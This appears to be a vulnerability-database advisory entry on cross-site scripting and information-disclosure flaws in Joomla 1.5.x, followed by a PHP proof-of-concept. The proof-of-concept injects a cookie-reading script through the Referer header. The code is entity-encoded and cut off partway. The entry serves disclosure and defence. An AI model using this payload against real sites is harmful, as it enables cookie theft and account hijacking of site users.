Joomla! 1.5.x Cross Site Scripting and Information Disclosure Vulnerabilities

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Joomla 1.5.x Cross Site Scripting and Information Disclosure Vulnerabilitie


                                                source: http://www.securityfocus.com/bid/35544/info

Joomla! is prone to multiple cross-site scripting and information-disclosure vulnerabilities.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and obtain sensitive information.

These issues affect versions prior to 1.5.12.

/* PoC: XSS Joomla 1.5.11 Juan Galiana Lara Internet Security Auditors Jun 2009 */ /* config */ $site=&#39;localhost&#39;; $path=&#39;/joomla-1.5.11&#39;; $cookname=&#39;d85558a8cf943386aaa374896bfd3d99&#39;; $cookvalue=&#39;4ab56fdd83bcad86289726aead602699&#39;; class cURL { var $headers; var $user_agent; var $compression; var $cookie_file; var $proxy; /* evil script */ var $xss=&#39;alert(&#34;PWN PWN PWN: &#34; + document.cookie);&#39;; function cURL($cookies=TRUE,$cookie=&#39;cookies.txt&#39;,$compression=&#39;gzip&#39;,$proxy=&#39;&#39;) { $this-&#62;headers[] = &#39;Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8&#39;; $this-&#62;headers[] = &#39;Connection: Keep-Alive&#39;; $this-&#62;headers[] = &#39;Content-type: application/x-www-form-urlencoded;charset=UTF-8&#39;; $this-&#62;headers[] = &#39;Referer: &#34;&#62;get(&#39;http://&#39; . $site . $path . &#39;/index.php?option=com_content&view=article&layout=form&#39;); /* let&#39;s execute some javascript.. }:-)*/ echo $c; ?&#62;

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1